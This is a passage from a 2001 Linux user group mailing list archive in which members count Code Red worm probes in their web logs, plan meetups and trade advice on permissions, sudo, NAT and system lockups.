09:23:26AM -0500 References: <3b694368.32b3.0@isd.net> <20010802082047.A23470@beaver.iucha.org> <20010802083717.2c3ae8eb.hick0088@tc.umn.edu> <20010802092325.A9425@beaver.iucha.org> Message-ID: <20010802094532.D17657@sherohman.org> On Thu, Aug 02, 2001 at 09:23:26AM -0500, Florin Iucha wrote: > That's still too long... > > $ grep -cE "Aug.*default.ida" access_log > 39 Yeah, but if you host virtual domains with domain-specific logs (or just rotate your logs), that reports seperate counts for each file. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From florin at iucha.net Thu Aug 2 09:45:17 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] RedHat beta: Roswell Message-ID: <20010802094517.C9425@beaver.iucha.org> All RedHat fans: http://lwn.net/daily/roswell.php3 There is a new beta in town... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From esper at sherohman.org Thu Aug 2 09:51:53 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] OT: stupid question In-Reply-To: <20010802093602.B9425@beaver.iucha.org>; from florin@iucha.net on Thu, Aug 02, 2001 at 09:36:02AM -0500 References: <3B691360.497BC251@mn.mediaone.net> <20010802091121.A17657@sherohman.org> <20010802093602.B9425@beaver.iucha.org> Message-ID: <20010802095153.E17657@sherohman.org> On Thu, Aug 02, 2001 at 09:36:02AM -0500, Florin Iucha wrote: > It's still amazing that a random host was punched 40 times... I'm keeping an eye on 4 machines with visible IP addresses and, although 40 is a touch high, it seems to be about average at this stage. My boxes run from 19 to 55 and most other people seem to be reporting either high 30s or mid 50s. (Very few 40s though - probably because the ones in the 50s are on the original version's random number list, while only the new strains are hitting the hosts with smaller numbers of hits.) In any case, is it really that amazing when there are 240,000+ infected boxes probing 100 addresses at a time? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From esper at sherohman.org Thu Aug 2 09:41:35 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010801121151.A14447@real-time.com>; from tanner@real-time.com on Wed, Aug 01, 2001 at 12:11:51PM -0500 References: <20010801121151.A14447@real-time.com> Message-ID: <20010802094135.C17657@sherohman.org> On Wed, Aug 01, 2001 at 12:11:51PM -0500, Bob Tanner wrote: > >From the NANOG mailing list: > > (david moore with help from a bunch of elves) > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts.gif > > log-scale version > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts-log.gif Both of these URLs are returning 404 as of about 9:30. Anyone know if current graphs are available elsewhere? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From jspinti at dart.dartdist.com Thu Aug 2 09:59:53 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802092325.A9425@beaver.iucha.org> Message-ID: Why not just set up an alias in your profile? Being the lazy bum that I am, I use lots of 2-3 letter aliases :) Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Florin Iucha |Sent: Thursday, August 02, 2001 9:23 AM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] snowed red | | |On Thu, Aug 02, 2001 at 08:37:17AM -0500, Mike Hicks wrote: |> "Florin Iucha" wrote: |> > |> > $ grep Aug access_log | grep default.ida | wc -l |> > 36 |> |> Just in case anyone doesn't want to type that much ;-) |> |> grep Aug access_log | grep -c default.ida | |That's still too long... | | $ grep -cE "Aug.*default.ida" access_log | 39 | |florin | |-- | |"If it's not broken, is because you are not fixing it enough." | |41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From florin at iucha.net Thu Aug 2 10:16:13 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] OT: stupid question In-Reply-To: <20010802095153.E17657@sherohman.org>; from esper@sherohman.org on Thu, Aug 02, 2001 at 09:51:53AM -0500 References: <3B691360.497BC251@mn.mediaone.net> <20010802091121.A17657@sherohman.org> <20010802093602.B9425@beaver.iucha.org> <20010802095153.E17657@sherohman.org> Message-ID: <20010802101613.A7387@beaver.iucha.org> On Thu, Aug 02, 2001 at 09:51:53AM -0500, Dave Sherohman wrote: > On Thu, Aug 02, 2001 at 09:36:02AM -0500, Florin Iucha wrote: > > It's still amazing that a random host was punched 40 times... > > I'm keeping an eye on 4 machines with visible IP addresses and, although > 40 is a touch high, it seems to be about average at this stage. My boxes > run from 19 to 55 and most other people seem to be reporting either high > 30s or mid 50s. (Very few 40s though - probably because the ones in the > 50s are on the original version's random number list, while only the new > strains are hitting the hosts with smaller numbers of hits.) > > In any case, is it really that amazing when there are 240,000+ infected > boxes probing 100 addresses at a time? It's the premise amazing, not the consequence. One would expect those hundreds of thousands web servers to be patched by now. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From moomonk at daisy-chan.org Thu Aug 2 05:27:34 2001 From: moomonk at daisy-chan.org (Joshua Jore) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802094532.D17657@sherohman.org> Message-ID: Nah, I wouldn't think so. I thought this worm just punches IPs so you'd get the logs for whatever the default log is but none of the virtuals should get anything since the worm would have had to ask for them by name. Josh On Thu, 2 Aug 2001, Dave Sherohman wrote: > On Thu, Aug 02, 2001 at 09:23:26AM -0500, Florin Iucha wrote: > > That's still too long... > > > > $ grep -cE "Aug.*default.ida" access_log > > 39 > > Yeah, but if you host virtual domains with domain-specific logs (or just > rotate your logs), that reports seperate counts for each file. > > -- > With the arrest of Dimitry Sklyarov it has become apparent that it is not > safe for non US software engineers to visit the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From crumley at belka.space.umn.edu Thu Aug 2 10:19:05 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010802094135.C17657@sherohman.org>; from esper@sherohman.org on Thu, Aug 02, 2001 at 09:41:35AM -0500 References: <20010801121151.A14447@real-time.com> <20010802094135.C17657@sherohman.org> Message-ID: <20010802101905.A14904@gordo.space.umn.edu> On Thu, Aug 02, 2001 at 09:41:35AM -0500, Dave Sherohman wrote: > On Wed, Aug 01, 2001 at 12:11:51PM -0500, Bob Tanner wrote: > > >From the NANOG mailing list: > > > (david moore with help from a bunch of elves) > > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts.gif > > > > log-scale version > > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts-log.gif > > Both of these URLs are returning 404 as of about 9:30. Anyone know > if current graphs are available elsewhere? http://www.incidents.org/ -- Jim Crumley | Free Dmitry Sklyarov! crumley@fields.space.umn.edu | http://freesklyarov.org/ Work: 612 624-6804 or -0378 | From chrome at real-time.com Thu Aug 2 10:22:43 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] firehose In-Reply-To: <20010802003544.7e620aee.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Thu, Aug 02, 2001 at 12:35:44AM -0500 References: <20010802003544.7e620aee.hick0088@tc.umn.edu> Message-ID: <20010802102243.C331@real-time.com> > Here you guys go -- when you really need bandwidth: > > http://heroinewarrior.com/firehose.php3 maybe add this to the netcat presentation? :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Thu Aug 2 10:33:10 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] beer meeting? Message-ID: <20010802103310.D331@real-time.com> will there be a beer meeting tonight, or are we going to have one after the TCLUG meeting, or what? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From blayer at qwest.net Thu Aug 2 10:36:15 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] OT: stupid question In-Reply-To: <20010802101613.A7387@beaver.iucha.org> References: <3B691360.497BC251@mn.mediaone.net> <20010802091121.A17657@sherohman.org> <20010802093602.B9425@beaver.iucha.org> <20010802095153.E17657@sherohman.org> <20010802101613.A7387@beaver.iucha.org> Message-ID: <20010802103615.1458bdba.blayer@qwest.net> On Thu, 2 Aug 2001 10:16:13 -0500 "Florin Iucha" wrote: > One would expect those hundreds of thousands web servers to be patched by now. Oh for sure.. I can see the Onion-esque headline now: "Presence of widely publicized internet security threat makes MS sysadmins smarter and more aware" =/ -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From chrome at real-time.com Thu Aug 2 10:41:05 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] logitech usb optical wheelmouse? In-Reply-To: <996724435.2196.140.camel@localhost.localdomain>; from bradyh@bitstream.net on Wed, Aug 01, 2001 at 10:53:54PM -0500 References: <996705103.4886.69.camel@lis.llewellyn.com> <996724435.2196.140.camel@localhost.localdomain> Message-ID: <20010802104105.E331@real-time.com> > It was working before and that stuff is in my file. Perhaps this mouse > doesn't pass the button 4 and 5 signals through the 9pin/USB adaptor? > I'm not too familiar with how that works. here at work my trackball goes through a USB->PS/2 adapter; works fine. :| Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From jacque at fruitioninc.com Thu Aug 2 10:54:22 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Beer meeting update Message-ID: All right this is whats up. I'll be updating the web page a little later today. No beer meeting tonight. Instead, we'll meet after the meeting on Saturday. Place TBD, most likely it'll be a place near the U with good food. (Why is it that I never eat before the meeting?) The August 9th Beer Meeting will be at Hops in Eden Prairie. More details later. Jacque From esper at sherohman.org Thu Aug 2 10:50:05 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010802101905.A14904@gordo.space.umn.edu>; from crumley@belka.space.umn.edu on Thu, Aug 02, 2001 at 10:19:05AM -0500 References: <20010801121151.A14447@real-time.com> <20010802094135.C17657@sherohman.org> <20010802101905.A14904@gordo.space.umn.edu> Message-ID: <20010802105005.G17657@sherohman.org> On Thu, Aug 02, 2001 at 10:19:05AM -0500, Jim Crumley wrote: > On Thu, Aug 02, 2001 at 09:41:35AM -0500, Dave Sherohman wrote: > > On Wed, Aug 01, 2001 at 12:11:51PM -0500, Bob Tanner wrote: > > > >From the NANOG mailing list: > > > > (david moore with help from a bunch of elves) > > > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts.gif > > > > > > log-scale version > > > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts-log.gif > > > > Both of these URLs are returning 404 as of about 9:30. Anyone know > > if current graphs are available elsewhere? > > http://www.incidents.org/ The graphs at incidents are a couple hours old and show a much lower level of activity than caida's. The caida graphs are back up now, though, so I'm happy. (And I'm watching both - incidents is good, but doesn't show quite the same thing.) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From blayer at qwest.net Thu Aug 2 11:02:42 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: References: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> Message-ID: <20010802110242.1a5eb647.blayer@qwest.net> On Thu, 2 Aug 2001 09:09:47 -0500 (CDT) "Nate Carlson" wrote: > On Wed, 1 Aug 2001, Austad, Jay wrote: > > Yeah, me too. Unfortunately, it keeps killing my 675. I have the web admin > > disabled, but on certain releases of software, it still kills it. Since I'm > > moving in a couple of weeks, I'm not too concerned about upgrading to the > > latest release. Dude, if you follow my instructions - that upgrade takes you an honest-to-god five minutes, including downloading the code. Anyway, when you move, will you not be taking the 675 with you? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blutgens at sistina.com Thu Aug 2 11:06:36 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010802101905.A14904@gordo.space.umn.edu>; from crumley@belka.space.umn.edu on Thu, Aug 02, 2001 at 10:19:05AM -0500 References: <20010801121151.A14447@real-time.com> <20010802094135.C17657@sherohman.org> <20010802101905.A14904@gordo.space.umn.edu> Message-ID: <20010802110636.C16942@minime.sistina.com> On Thu, Aug 02, 2001 at 10:19:05AM -0500, Jim Crumley wrote: Just grep your logs and pipe to uniq and wc and you can get a rough idea how many attacks from uniqe hosts you've been subjected to. I've only had 42 since midnight :-( >On Thu, Aug 02, 2001 at 09:41:35AM -0500, Dave Sherohman wrote: >> On Wed, Aug 01, 2001 at 12:11:51PM -0500, Bob Tanner wrote: >> > >From the NANOG mailing list: >> > > (david moore with help from a bunch of elves) >> > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts.gif >> >> > > log-scale version >> > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts-log.gif >> >> Both of these URLs are returning 404 as of about 9:30. Anyone know >> if current graphs are available elsewhere? > >http://www.incidents.org/ > >-- >Jim Crumley | Free Dmitry Sklyarov! >crumley@fields.space.umn.edu | http://freesklyarov.org/ >Work: 612 624-6804 or -0378 | >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010802/e58fb58a/attachment.pgp From blutgens at sistina.com Thu Aug 2 11:19:57 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010802110242.1a5eb647.blayer@qwest.net>; from blayer@qwest.net on Thu, Aug 02, 2001 at 11:02:42AM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> <20010802110242.1a5eb647.blayer@qwest.net> Message-ID: <20010802111957.D16942@minime.sistina.com> On Thu, Aug 02, 2001 at 11:02:42AM -0500, Bill Layer wrote: > >Dude, if you follow my instructions - that upgrade takes you an >honest-to-god five minutes, including downloading the code. Anyway, when >you move, will you not be taking the 675 with you? > It appears I need to do that too. Bill what's the URL to the aforementioned "instructions" and do you know the pinouts for the cable. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010802/0d833f5b/attachment.pgp From doug at northlandstudios.com Thu Aug 2 11:24:27 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Good site for linux permissions info References: Message-ID: <003001c11b6f$99c1cfa0$940f3c9e@DHENRYW2P> Can anyone point me in the direction of some good documentation for permissions in linux? I have been logging in as a user account I created and have been having some problems not being able to do things that require root access (some things I need to log off and back on as root to do, "su" isn't enough), I ended up making my regular account "root" level this morning (by setting the number to 0 in /etc/passwd), which probably wasn't the wisest thing to do, and at this point I think I may start doing more harm than good. Consequently the some things I am talking about are things like editing files in my own "home" directory (I installed kylix and wrote a small program that I compiled as my normal user saved in my local directory. Of course I need to be in as root to run it:->). Even as a normal user I should be able to uninstall things I have added, edit my own files etc... shouldn't I? Doug From Troy.A.Johnson at state.mn.us Thu Aug 2 09:45:09 2001 From: Troy.A.Johnson at state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail Message-ID: I think you are correct, Nate. It is very nice to look _one_ place for your periodically scheduled jobs. An interesting use of fetchmail for a user might be to start the daemon on login and kill it on logout, or start when the net connection comes up and kill it when it goes down. >>> nate@techie.com 08/01/01 08:50PM >>> On Wed, Aug 01, 2001 at 08:17:21PM -0500, johndmiller wrote: > I have my Fetchmail running as a demon. Start fetchmail -d 60 and > fechmail will login and get your mail every 60 seconds. A friend of mine told me about that too. I don't know. 1. I don't like lots of daemons running 2. The UNIX way says cron is the periodic scheduler, let cron do that kind of work. Fetchmail is just a mail fetcher, let fetchmail do that. Nate _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From Troy.A.Johnson at state.mn.us Thu Aug 2 09:54:39 2001 From: Troy.A.Johnson at state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] (no subject) Message-ID: Hold on now! Exchange isn't the only 'broken implementation of standards' game in town. Groupwise is also quite broken (from what I hear), though not as popular. >>> kblack@isd.net 08/02/01 07:07AM >>> I would think that would be easy, just check for broken implementations of standards, and voila! you have an exchange server! If not, probably not Exchange! From bue at augsburg.edu Thu Aug 2 11:53:14 2001 From: bue at augsburg.edu (B. Bue) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Masq-ed Subdomains. Message-ID: <20010802165314.86E291D0C46@roland.augsburg.edu> Hello, I was wondering recently how one could set up subdomains on masq-ed ip addresses. I currently have a small network at home with a single ip address for the router/firewall and several machines behind the router with ips 10.0.0.1, 10.0.0.2...and so on. How could I assign an address (i.e. machinename.mynetwork.net) to reference the internal machines from outside the local network? I've spent some time trying to find information on the topic, but thus far all I've found is info on how to assign subdomains to machines with real ip addresses. Any help would be greatly appreciated. Thanks in advance, -Bry'n From dieman+tclug at ringworld.org Thu Aug 2 12:08:47 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:16 2005 Subject: [TCLUG] Beer meeting update In-Reply-To: Message-ID: <20010802120847.A2720@ringworld.org> * Jacqueline Urick [010802 11:19]: > Place TBD, most likely it'll be a place near the U with good food. (Why is > it that I never eat before the meeting?) NOODLE! -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From zibby+tclug at ringworld.org Thu Aug 2 12:10:43 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Good site for linux permissions info In-Reply-To: <003001c11b6f$99c1cfa0$940f3c9e@DHENRYW2P> Message-ID: UNIX Permission Quick Reference Table (r) Read (w) Write (x) Execute (r) (w) (x) Owner 400 200 100 700 Group 040 020 010 070 World 004 002 001 007 444 222 111 777 If your having problems editing stuff in your home directory chown -r user:user ~user should get things back to normal. Just don't do anything like chown -r user:user ~user/.* in an attempt to change permissions on your dot files. Heh...whoops :) If you do own the file (ls -l file) you may just need to chage the permissions (see table) chmod 600 file will give you read/write access to the file and no access for grop or world. As for needing root as a normal user, I use sudo. In /etc/sudoers i look like: luser ALL= NOPASSWD: ALL (I put the no password in cause I'm lazy.) sudo is a great tool for programs that need root access. Like me, I'm too lazy to get cd burning as a non root user and my brother wants to burn cd's: User_Alias BURNERS = luser0, luser1, luser2 Cmnd_Alias CDBURN = /usr/bin/xcdroast, /usr/bin/cdrecord, /usr/bin/mkisofs, /usr/bin/cdparanoia, /usr/bin/gcombust, /usr/bin/gtoaster BURNERS ALL = NOPASSWD: CDBURN With that, luser0, luser2, and luser3 can run sudo gtoaster and burn a cd. They don't even have to enter a password. 9With sudo, you enter your password not roots) I'm sure others have better ideas, but that's what I do on my home machine. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From florin at iucha.net Thu Aug 2 12:12:17 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Good site for linux permissions info In-Reply-To: <003001c11b6f$99c1cfa0$940f3c9e@DHENRYW2P>; from doug@northlandstudios.com on Thu, Aug 02, 2001 at 11:24:27AM -0500 References: <003001c11b6f$99c1cfa0$940f3c9e@DHENRYW2P> Message-ID: <20010802121216.B7387@beaver.iucha.org> On Thu, Aug 02, 2001 at 11:24:27AM -0500, doug wrote: > Can anyone point me in the direction of some good documentation for > permissions in linux? I have been logging in as a user account I created and > have been having some problems not being able to do things that require root > access (some things I need to log off and back on as root to do, "su" isn't > enough), I ended up making my regular account "root" level this morning (by > setting the number to 0 in /etc/passwd), which probably wasn't the wisest > thing to do, and at this point I think I may start doing more harm than > good. root sometimes needs it's environment (that adds */sbin) so you might want to use "su -" and see what happens. You might go to a different terminal and login as root. > Consequently the some things I am talking about are things like editing > files in my own "home" directory (I installed kylix and wrote a small > program that I compiled as my normal user saved in my local directory. Of > course I need to be in as root to run it:->) You messed up your home dir. Login as root. Change back the user id in /etc/passwd. Then "cd /home" "chown -R . " Logout from root, login as and it should work. > Even as a normal user I should > be able to uninstall things I have added, edit my own files etc... shouldn't > I? Definitely. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From esper at sherohman.org Thu Aug 2 12:19:28 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Masq-ed Subdomains. In-Reply-To: <20010802165314.86E291D0C46@roland.augsburg.edu>; from bue@augsburg.edu on Thu, Aug 02, 2001 at 11:53:14AM -0500 References: <20010802165314.86E291D0C46@roland.augsburg.edu> Message-ID: <20010802121928.H17657@sherohman.org> On Thu, Aug 02, 2001 at 11:53:14AM -0500, B. Bue wrote: > Hello, I was wondering recently how one could set up subdomains on masq-ed ip > addresses. I currently have a small network at home with a single ip address > for the router/firewall and several machines behind the router with ips > 10.0.0.1, 10.0.0.2...and so on. How could I assign an address (i.e. > machinename.mynetwork.net) to reference the internal machines from outside the > local network? I've spent some time trying to find information on the topic, > but thus far all I've found is info on how to assign subdomains to machines > with real ip addresses. Any help would be greatly appreciated. You can have the masqing box forward specific ports to internal machines, but you can't just open up generalized access to internal hosts. For them to be fully visible and behave like they have real IP addresses, they need real IP addresses. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From cart0196 at umn.edu Thu Aug 2 12:59:43 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: <20010802121928.H17657@sherohman.org> References: <20010802165314.86E291D0C46@roland.augsburg.edu> <20010802121928.H17657@sherohman.org> Message-ID: <01080212594300.00712@192.168.0.7> OK I am not sure where to begin so here goes: I am running a modified Redhat 6.2 distribution put together by the U of Minn (Gopher Linux) as a KDE workstation. The distribution came with KDE 1.something and I upgraded it to 2.2.1. At any rate have been running it for about 3 weeks now, and the system has locked up 4 times while in kde (no mouse or keyboard, the 3 finger salute does nothing, i have not tried to telnet in when it is locked) some of the lock ups have occurred when actually using the computer. It has also completely rebooted while in kde times--twice when i left the computer for a few minutes and once when I was using it. First of all, it may have nothing to do with kde, i always run it when i use the computer, secondly the rebooting and lock ups may be unrelated. I have looked through of all of the logs in /var/log and have found nothing happening at the time when the computer flakes out. I am very GREEN so if anyone can suggest where else I can look to diagnose this problem please let me know. The machine is dual boot and is quite stable under a "micro" WinLite OS. TIA BCS From jacque at fruitioninc.com Thu Aug 2 10:54:22 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer meeting update Message-ID: All right this is whats up. I'll be updating the web page a little later today. No beer meeting tonight. Instead, we'll meet after the meeting on Saturday. Place TBD, most likely it'll be a place near the U with good food. (Why is it that I never eat before the meeting?) The August 9th Beer Meeting will be at Hops in Eden Prairie. More details later. Jacque _______________________________________________ tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-announce From zibby+tclug at ringworld.org Thu Aug 2 13:31:22 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: <01080212594300.00712@192.168.0.7> Message-ID: What is the temperature in the room you're running the computer in? This sounds like a common problem called excess heat. :) Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From cart0196 at umn.edu Thu Aug 2 09:28:16 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] RE: Kylix (Thanks--No Thanks--Almost Thanks) In-Reply-To: References: Message-ID: <01080209281600.00682@192.168.0.7> How long does it take to get the registration key? I did the registration/survey thing yesterday morning and still have not received anything from borland. brian On Wednesday 01 August 2001 12:47 pm, you wrote: > > Earlier, Kylix was promoted and trying Kylix open edition was encouraged. > > It sounded perfect for some of my interests. > > ... > > Frustrated, I tried to uninstall Kylix but could only delete what I could > > find on my system. > > ... > > So I went to Borland's site, went through their disfunctional > > registration process four or more times over two days and finally got the > > keys. Once successful, I then decided to download Borland's copy of > > Kylix_oe. When I opened their *.tar.gz the setup script was missing. > > AFAIK, deleting the directory you installed Kylix to should remove it > completely. (Does not include RPM database entries or bug fixes to libc, > etc. that may have also been installed.) > > I'm not sure why you had so much difficulty, but it definitely isn't > unheard of. Maybe one of their servers has a bad copy???? > > For more info, you might try... > > > Next Tuesday (August 7) evening is everyone's chance to share your > experiences in person with Anders Ohlsson. Anders is part of Borland's > Kylix team, so _maybe_ he has some insight into problems like this. He will > be here for the TC/PC Delphi/Kylix event at the Thunderbird Hotel in > Bloomington. The event is free and open to the public. See www.tcpc.com for > the latest info. > > > Lee Behrens > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From cargods at storage.network.com Thu Aug 2 13:44:19 2001 From: cargods at storage.network.com (David S. Cargo) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] DSL-attached Linux safety Message-ID: <200108021844.NAA13321@rainier.network.com> I found this recent article about hack attacks: http://www.theregister.co.uk/content/55/20714.html I now have my Linux box (Red Hat 6.2 plus misc updates) on a DSL line behind a Cisco 678. What protections do I need to have in place to have a reasonable chance of avoiding getting hacked? The system is not on the net 24/7; it's only connected when I'm surfing the web. With this box I don't intend to have any external services available. I guess that means I don't need an ftp daemon or an http daemon. Are there other services I could/should turn off? Is there a web page somewhere that would tell me how to secure this system? Thanks. dsc From doug at northlandstudios.com Thu Aug 2 13:54:53 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] DSL-attached Linux safety References: <200108021844.NAA13321@rainier.network.com> Message-ID: <007901c11b84$9dc8f370$940f3c9e@DHENRYW2P> Good question, as I'll have my RH7.1 box behind a 678 as well in 2 weeks... ----- Original Message ----- From: "David S. Cargo" To: Sent: Thursday, August 02, 2001 1:44 PM Subject: [TCLUG] DSL-attached Linux safety > I found this recent article about hack attacks: > > http://www.theregister.co.uk/content/55/20714.html > > I now have my Linux box (Red Hat 6.2 plus misc updates) on a DSL > line behind a Cisco 678. > > What protections do I need to have in place to have a reasonable > chance of avoiding getting hacked? > > The system is not on the net 24/7; it's only connected when I'm > surfing the web. > > With this box I don't intend to have any external services available. > I guess that means I don't need an ftp daemon or an http daemon. Are > there other services I could/should turn off? > > Is there a web page somewhere that would tell me how to secure this > system? > > Thanks. > > dsc > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lxy at cloudnet.com Thu Aug 2 13:59:41 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: <01080212594300.00712@192.168.0.7> Message-ID: On Thu, 2 Aug 2001, Brian Carter-Stiglitz wrote: > OK I am not sure where to begin so here goes: I am running a modified > Redhat 6.2 distribution put together by the U of Minn (Gopher Linux) as a KDE > workstation. The distribution came with KDE 1.something and I upgraded it to > 2.2.1. At any rate have been running it for about 3 weeks now, and the > system has locked up 4 times while in kde (no mouse or keyboard, the 3 finger > salute does nothing, In normal circumstances I'd say you have either an excess heat problem or a wimpy PS. Since it appears to be oriented around your KDE upgrade, I have to ask, is there an ATI card involved here? I had a problem with Redhat (7.0 or 7.1) on my machine here at work where X would do the same thing. I think it's still an issue, I just haven't had time to dink with it. Anyway, I used to be a firm believer in ATI cards but I'm quickly realizing that better alternatives exist. Or maybe it has nothing to do with that at all. Could be that the new KDE is pissing off your exisitng X version, have you upgraded to 4.x or are you on 3.x? -Brian From veldy at veldy.net Thu Aug 2 14:08:30 2001 From: veldy at 